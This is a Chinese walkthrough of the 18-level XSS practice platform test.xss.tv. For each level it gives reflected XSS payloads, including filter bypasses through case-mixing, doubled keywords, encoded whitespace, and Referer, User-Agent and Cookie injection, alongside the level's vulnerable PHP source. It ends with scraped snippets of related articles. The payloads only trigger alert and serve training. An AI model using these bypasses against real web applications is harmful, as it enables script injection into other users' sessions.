xss挑战

题目地址：http://test.xss.tv

level1

  1. payload：
<svg/onload=alert(1)>
<script>alert("哈哈")</script>

  1. 源码分析：
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

变量 $str 接收 name 参数没有任何过滤，直接输出。

level2

  1. payload：
test" onclick=alert(1)>
test" onmouseover=alert(1)>
test"><script>alert("good！")</script>

  1. 源码分析：
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".‘<center>
<form action=level2.php method=GET>
<input name=keyword  value="‘.$str.‘">
<input type=submit name=submit value="搜索"/>
</form>
</center>‘;
?>

三条 payload 闭合后代码如下：

<input name=keyword value="test" onclick=alert(1)>">

<input name=keyword value="test" onmouseover=alert(1)>">

<input name=keyword value="test"><script>alert("good！")</script>">

分别是 点击输入框触发 XSS ，鼠标箭头滑过输入框触发 XSS，直接触发 XSS。注意如何闭合标签。

level3

  1. payload：
test‘ onclick=alert(1) %0A    %0a用做换行符使input标签语法正确
test‘ onclick=alert(1) %0D    %0D用做回车符使input标签语法正确
test‘ onclick=alert(1) %09    %09用做tab符使input标签语法正确
test‘ oninput=alert`1` //
test‘ oninput=alert`1` ‘

  1. 源码分析：
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value=‘".htmlspecialchars($str)."‘>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

htmlspecialchars()函数过滤了 > ,所以用事件来 XSS。

level4

  1. payload：和level3基本一样，这次是双引号
test" onclick=alert(1) %0A    %0a用做换行符使input标签语法正确
test" onclick=alert(1) %0D    %0D用做回车符使input标签语法正确
test" onclick=alert(1) %09    %09用做tab符使input标签语法正确
test" oninput=alert`1` //
test" oninput=alert`1` "

  1. 源码分析：
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".‘<center>
<form action=level4.php method=GET>
<input name=keyword  value="‘.$str3.‘">
<input type=submit name=submit value=搜索 />
</form>
</center>‘;
?>

level5

  1. payload：
test"> <a href="javascript:alert(1)">click me</a>

  1. 源码分析：

<?PHP
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".‘<center>
<form action=level5.php method=GET>
<input name=keyword  value="‘.$str3.‘">
<input type=submit name=submit value=搜索 />
</form>
</center>‘;
?>

script 会被过滤为scr_ipt，on事件被过滤为o_n，可以用用a标签来绕过。

level6

  1. payload：
test"> <a Href="javascript:alert(1)">click me</a>
test"> <img Src=x OnError=alert(‘xss‘)>
test"> <Script>alert(1)</script>

  1. 源码分析：
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".‘<center>
<form action=level6.php method=GET>
<input name=keyword  value="‘.$str6.‘">
<input type=submit name=submit value=搜索 />
</form>
</center>‘;
?>

过滤了很多，但没有考虑大小写问题，可以直接用大小绕过。

level7

  1. payload：
test"> <scscriptript>alert`1`</scscriptript>
test"><a/hrhrefef="javascriscriptpt:alert(1)">
test"><img sRsrcc=x oonnerror=alert(1)>
test" oonninput=alert(1) "

  1. 源码分析：
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".‘<center>
<form action=level7.php method=GET>
<input name=keyword  value="‘.$str6.‘">
<input type=submit name=submit value=搜索 />
</form>
</center>‘;
?>

将on,href,src等关键字，会直接过滤成空，可以用scscriptript，scrSCRIPTipt，hrhrefef，oonnerror等方式绕过过滤。

level8

  1. payload：
//直接写进地址栏的payload
javasc%09ript:alert(1)
javasc%0aript:alert(1)
javasc%0dript:alert(1)
//直接写进输入框的payload
javasc	ript:alert(1)
javasc
ript:alert(1)
javasc
ript:alert(1)
javascript:alert(1)
javascript:alert(1)

  1. 源码分析：
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace(‘"‘,‘&quot‘,$str6);
echo ‘<center>
<form action=level8.php method=GET>
<input name=keyword  value="‘.htmlspecialchars($str).‘">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>‘;
?>
<?php
 echo ‘<center><BR><a href="‘.$str7.‘">友情链接</a></center>‘;
?>

过滤了 script，on，src，data，herf，输出点在a标签内，href属性中，属性中双引号被转换成HTML实体，无法截断属性，可以通过协议绕过，javascript:alert(1)中的script被过滤，所以对javascript:alert(1)进行编码。

level9

  1. payload：
javascr%09ipt:alert(1)//http://123.com

  1. 源码分析：
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace(‘"‘,‘&quot‘,$str6);
echo ‘<center>
<form action=level9.php method=GET>
<input name=keyword  value="‘.htmlspecialchars($str).‘">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>‘;
?>
<?php
if(false===strpos($str7,‘http://‘))
{
  echo ‘<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>‘;
        }
else
{
  echo ‘<center><BR><a href="‘.$str7.‘">友情链接</a></center>‘;
}
?>

这一关比上一关多了判断，必须要有 http:// 。

level10

  1. payload：
test&t_sort=" type="text" onclick="alert()

  1. 源码分析：
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".‘<center>
<form id=search>
<input name="t_link"  value="‘.‘" type="hidden">
<input name="t_history"  value="‘.‘" type="hidden">
<input name="t_sort"  value="‘.$str33.‘" type="hidden">
</form>
</center>‘;
?>

level11

用burp抓包，修改 Referer

  1. payload：
Referer:" type="text" onclick="alert()
  1. 源码分析：
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER[‘HTTP_REFERER‘];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".‘<center>
<form id=search>
<input name="t_link"  value="‘.‘" type="hidden">
<input name="t_history"  value="‘.‘" type="hidden">
<input name="t_sort"  value="‘.htmlspecialchars($str00).‘" type="hidden">
<input name="t_ref"  value="‘.$str33.‘" type="hidden">
</form>
</center>‘;
?>

level12

用burp抓包，修改 user-agent

  1. payload：
user-agent:" type="text" onclick="alert()
  1. 源码分析：
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER[‘HTTP_USER_AGENT‘];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".‘<center>
<form id=search>
<input name="t_link"  value="‘.‘" type="hidden">
<input name="t_history"  value="‘.‘" type="hidden">
<input name="t_sort"  value="‘.htmlspecialchars($str00).‘" type="hidden">
<input name="t_ua"  value="‘.$str33.‘" type="hidden">
</form>
</center>‘;
?>

level13

用burp抓包，修改 Cookie

  1. payload：
Cookie:user=" type="text" onclick="alert()
  1. 源码分析：
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".‘<center>
<form id=search>
<input name="t_link"  value="‘.‘" type="hidden">
<input name="t_history"  value="‘.‘" type="hidden">
<input name="t_sort"  value="‘.htmlspecialchars($str00).‘" type="hidden">
<input name="t_cook"  value="‘.$str33.‘" type="hidden">
</form>
</center>‘;
?>

level14

略

level15

  1. payload：
level15.php?src=‘level1.php?name=test<img src=1 onerror=alert(1)>‘
  1. 源码分析：
<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错！");
 window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关，自己想个办法走出去吧！</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo ‘<body><span class="ng-include:‘.htmlspecialchars($str).‘"></span></body>‘;
?>

level16

  1. payload：
keyword=<img%0a%0dsrc=x%0a%0donerror=alert(1)>
  1. 源码分析：
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

level17

  1. payload：
 onmouseout=alert(1)
  1. 源码分析：
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

level18

  1. payload：
  onmouseout=alert(1)
  1. 源码分析：
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

参考链接：

  1. https://xz.aliyun.com/t/1206#toc-0
  2. http://www.cnblogs.com/r00tuser/p/7407459.html
  3. https://www.secpulse.com/archives/59497.html

原文地址：https://www.cnblogs.com/ldebug/p/9525279.html

时间： 2024-10-24 14:37:34

xss挑战的相关文章

1.6 xss挑战平台练习

------------------------- XSS挑战之旅 ------------------------- 最近在学习xss,找到了一个xss练习平台,在线地址:http://test.xss.tv/ 实验环境也可以本地搭建,不过需要php+mysql的环境: xss通关小游戏:https://pan.baidu.com/s/1zS2GwTNbMBXEF2yNEBeLgA   密码:85g8 我这里使用本地搭建,方便分析代码,安装好的页面如下: Level 1: 分析一下源代码中的判

某xss挑战赛闯关笔记

0x0 前言 在sec-news发现先知上师傅monika发了一个xss挑战赛的闯关wp([巨人肩膀上的矮子]XSS挑战之旅---游戏通关攻略(更新至18关)https://xianzhi.aliyun.com/forum/read/1462.html),去看了一下发现是前几天刚发现的平台,看了一下那个绕狗教程感觉挺不错的,xss却没有玩,那么正巧就玩一下,顺便学习一波别的师傅的思路. http://xss.tv 闯关地址:http://test.xss.tv 自己做了一些,也看了一下先知mon

XSS练习

1.  XSS (Reflected)  Low level 最基本的测试,在input框中输入 <script>alert(1)</script>页面出现下面的效果 出现我们期望的结果 说明存在xss反射型漏洞 2.  XSS (Reflected)  medium level 同样用上面的方法测试 发现页面并没有出现预想的结果,接着换另一种方法, 通过输出的内容可以发现 之前输入过的<script>并没有显示,猜测很可能是被过滤掉了,由于代码执行的时候只能过滤一次,

XSS挑战赛 --前13关

一.xss的形成原理 xss 中文名是"跨站脚本攻击",英文名"Cross Site Scripting".xss也是一种注入攻击,当web应用对用户输入过滤不严格,攻击者写入恶意的脚本代码(HTML.JavaScript)到网页中时,如果用户访问了含有恶意代码的页面,恶意脚本就会被浏览器解析执行导致用户被攻击.常见的危害有:cookie窃取,session劫持,钓鱼攻击,蠕虫,ddos等. 二.xss的分类 xss根据其特性和利用方式可以分为三大类:反射型xss,

CVE-2013-3908 Internet Explorer打印预览功能可导致信息泄露

原文:http://masatokinugawa.l0.cm/2014/11/ie-printpreview-infoleak.html 问题1: 在IE9和以前的版本当中进行打印预览操作时,IE会取出原始页面的URL并将URL放到重新生成的html中的base标签的href属性里. 由于此处并没有对URL中的" < >等符号进行任何的处理可导致信息泄漏.虽然打印预览界面中,是没办法执行JavaScript的,但是我们可以构造这样的URL: http://vulnerabledoma

2016第七季极客大挑战Writeup

第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{We1c0m3_To_G33k_2O!6} 并且可以知道后边的题的Flag格式为 SYC{} 2.xiao彩蛋 题目提示关注微博,从Syclover Team 博客(http://blog.sycsec.com)可获取到三叶草小组微博,私信发送flag后即可得到. 3.闪的好快 一开始拖进PS分帧数

escape.alf.nu XSS Challenges 8-15 之进阶的XSS

本文链接:http://blog.csdn.net/u012763794/article/details/51526725 上次讲了challenge 0-7 http://blog.csdn.net/u012763794/article/details/51507593,我的应该比别人的会详细一点吧,其实这需要有一定的xss的实践(自己搭环境搞个没过滤的就可以了),要熟悉js 废话不多说,直接上挑战,注:要alert(1)才能通关 challenge 8 function escape(s)

escape.alf.nu XSS Challenges 0-7 之一步步学XSS

本文链接:http://blog.csdn.net/u012763794/article/details/51507593 以下挑战来源于:http://escape.alf.nu/ 你可能需要html,css,javascript,正则表达式的知识,没有的赶紧学吧 之前在合天也做了一点实验总结什么的 跨站脚本攻击基础 http://blog.csdn.net/u012763794/article/details/45869479 XSS进阶一 http://blog.csdn.net/u012

XSS闯关游戏准备阶段及XSS构造方法

请下载好XSS闯关文件后,解压后放在服务器的对应文件夹即可 在该闯关中,会在网页提示一个payload数值 payload,翻译过来是有效载荷 通常在传输数据时,为了使数据传输更可靠,要把原始数据分批传输,并且在每一批数据的头和尾都加上一定的辅助信息,比如数据量的大小.校验位等,这样就相当于给已经分批的原始数据加一些外套,这些外套起标示作用,使得原始数据不易丢失,一批数据加上"外套"就形成了传输通道的基本传输单元,叫做数据帧或数据包,而其中的原始数据就是payload payload指